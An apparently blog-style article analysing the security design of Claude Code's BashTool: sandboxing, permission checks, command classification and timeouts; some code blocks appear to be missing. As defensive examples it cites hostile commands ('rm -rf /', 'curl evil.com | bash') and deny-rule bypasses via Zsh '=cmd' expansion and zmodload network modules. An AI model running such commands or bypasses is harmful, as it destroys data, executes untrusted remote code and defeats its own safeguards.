BashTool: Letting AI Safely Execute Shell Commands

Introduction

Letting AI execute shell commands is an extremely dangerous capability. A single rm -rf / can destroy an entire system; a curl evil.com | bash can execute arbitrary remote code; even a seemingly harmless cat /dev/random can hang the process.

Yet shell command access is indispensable for an AI coding assistant. Running tests, installing dependencies, executing builds, Git operations — all require shell access. Claude Code's BashTool must find the balance between "powerful enough" and "safe enough."

BashTool is the most complex individual tool in Claude Code, with source code spanning multiple files and thousands of lines. This article dives deep into its secure execution architecture — from sandbox mechanisms to command classification, from timeout management to background execution.

BashTool's Input Model

Of the six fields, _simulatedSedEdit is an internal field that is never exposed to the model. It is used for sed edit preview: when the user approves a sed command's preview result in the permission dialog, the system writes the pre-computed new file content directly, rather than re-executing sed. This avoids inconsistencies between "what was previewed" and "what was actually executed."

semanticNumber and semanticBoolean are Claude Code-specific Zod types — they accept string-form numbers/booleans at the schema level (like "true" or "120000"), handling cases where the AI occasionally sends parameters as strings.

Command Classification System

BashTool classifies shell commands into multiple semantic categories, used for UI presentation and behavioral decisions:

Pipeline and Compound Command Classification

The classification logic does not simply check the first command. For pipelines (cat file | grep pattern), all parts must be search/read commands for the entire command to be classified as search/read:

echo and printf are marked as "semantically neutral" — they do not change the overall read/write nature of a pipeline. ls dir && echo "---" && ls dir2 is still classified as a directory listing command because echo does not affect the semantics.

Command Semantic Interpretation

Different commands have different exit code meanings. grep returning 1 means "no matches found" rather than an error; diff returning 1 means "files differ." BashTool correctly interprets these cases through a semantic mapping table:

Sandbox Mechanism

BashTool's sandbox is an optional but recommended security layer that controls which files and network hosts commands can access.

Sandbox Decision Flow

Four conditions can bypass the sandbox:

1. Sandboxing is globally disabled
2. dangerouslyDisableSandbox: true and the policy allows unsandboxed commands
3. No command (empty call)
4. The command matches the user-configured exclusion list

Excluded Command Matching

The exclusion list supports the same pattern syntax as permission rules:

This uses fixed-point iteration to handle interleaved environment variables and wrapper commands: timeout 300 FOO=bar bazel run requires first stripping timeout 300, then stripping FOO=bar, and finally matching bazel. A single pass cannot handle this interleaving.

Sandbox Prompt Injection

When sandboxing is enabled, BashTool's prompt dynamically injects sandbox restriction information:

Note the use of the dedup function: SandboxManager may produce duplicate paths when merging configuration from multiple sources (settings layers, defaults, CLI flags). Deduplication before prompt injection saves approximately 150-200 tokens.

Security Checks: bashSecurity.ts

BashTool's security checks form a multi-layered defense system, located in bashSecurity.ts.

Command Substitution Detection

These patterns detect various forms of command substitution — an attacker could inject malicious commands via $(malicious_command) or Zsh's =cmd expansion. Note that Zsh's =curl evil.com would be expanded to /usr/bin/curl evil.com, bypassing command-name-based deny rules.

Dangerous Zsh Commands

zmodload is the most dangerous — it can load zsh/system (bypassing file permission checks), zsh/zpty (pseudo-terminal execution), zsh/net/tcp (network exfiltration), and other modules. Claude Code blocks these commands as defense in depth.

Security Check Identifiers

23 security checks, each with a numeric ID (to avoid logging strings), covering a broad threat surface from IFS injection to Unicode whitespace attacks.

Destructive Command Warnings

These warnings are purely informational — they do not affect permission logic or auto-approval. They are displayed in the permission dialog to help users make informed decisions. Note that the git clean regex excludes the --dry-run and -n flags — a dry run is not destructive.

Timeout Management

BashTool has three tiers of timeout control:

1. Default timeout — Typically 120 seconds (2 minutes), suitable for most commands
2. Maximum timeout — Typically 600 seconds (10 minutes), the AI can request more time via the timeout parameter
3. Background execution — Long-running commands can be moved to background via run_in_background: true

Background Execution

In Assistant mode, blocking commands are automatically backgrounded after 15 seconds. This prevents long-running builds or tests from blocking the entire interaction loop.

Background tasks have dedicated lifecycle management:

sequenceDiagram
    participant AI as Claude
    participant Bash as BashTool
    participant Task as LocalShellTask
    participant User as User

    AI->>Bash: run_in_background: true
    Bash->>Task: spawnShellTask(command)
    Task-->>Bash: taskId
    Bash-->>AI: backgroundTaskId: "task-123"

    Note over Task: Command executing in background...

    Task-->>User: System notification: Command completed

    AI->>Bash: Read task output
    Bash-->>AI: stdout + stderr

Commands that should not be automatically backgrounded are on a blocklist — sleep is among them, since it is typically a prelude to waiting and should not be backgrounded.

Progress Display

Progress is shown after a command runs for more than 2 seconds. This avoids unnecessary UI noise for fast commands while keeping users informed that long-running commands are still executing.

Permission System Interaction

BashTool's permission checks are the most complex among all tools, located in bashPermissions.ts.

Subcommand Splitting

Compound commands (like mkdir -p src && touch src/index.ts && npm init) are split into subcommands, with each subcommand checked independently for permissions. But there is an upper limit — 50 subcommands. Beyond this number, the system cannot prove the command is safe and falls back to ask (requesting user confirmation).

The reason for this limit is explained in the source code: splitCommand_DEPRECATED can produce an exponentially growing array of subcommands on complex compound commands, each requiring tree-sitter parsing and ~20 validators, causing event loop starvation.

Classifier-Based Permissions

Claude Code supports AI classifier-based permission decisions — using a model to understand a command's intent, rather than relying solely on pattern matching. This system is implemented in bashPermissions.ts via classifyBashCommand, with evaluation results logged for analysis in internal builds.

Prompt Engineering: Guiding the AI to Use the Right Tools

BashTool's prompt not only describes the tool itself but also explicitly guides the AI to prefer dedicated tools:

This explicit "NOT X" negation is more effective than "prefer Y" — it directly tells the AI what not to do, reducing ambiguity.

Git Safety Protocol

The prompt includes a detailed Git safety protocol:

These rules are not suggestions — they are hard constraints. The rule marked "CRITICAL" (always create new commits rather than amending) addresses a real data loss risk: when a pre-commit hook fails, the commit did not actually happen, so --amend would modify the previous commit.

Sleep Detection

An interesting safeguard — preventing the AI from using sleep for polling:

Sleeps under 2 seconds are allowed (for rate limiting), but longer sleeps are blocked or warned about. When a pattern like sleep 5 && check_status is detected, the system suggests using run_in_background or a Monitor tool instead.

Sed Edit Preview

BashTool has special handling for sed commands — it can show edit previews in the permission dialog:

This ensures that the diff the user sees in the permission dialog and the content actually written are exactly the same — there is no risk of different results due to sed execution environment differences.

Design Takeaways

BashTool's design embodies several key principles:

1. Defense in depth — Sandbox, permission checks, security pattern validation, destructive command warnings — each layer may fail individually, but together they provide robust protection

2. Semantic understanding — Command classification, exit code interpretation, silent command recognition — the system does not merely execute commands, it understands their semantics

3. Progressive strategy — Sandbox by default, with conditional bypass. Default timeout of 2 minutes, extendable to 10 minutes. Foreground by default, with background support. Every constraint has an escape hatch

4. Complexity budget — Subcommand count limits, numeric IDs for security checks, deduplicated sandbox paths — when complexity is unavoidable, the system sets explicit complexity budgets to prevent runaway behavior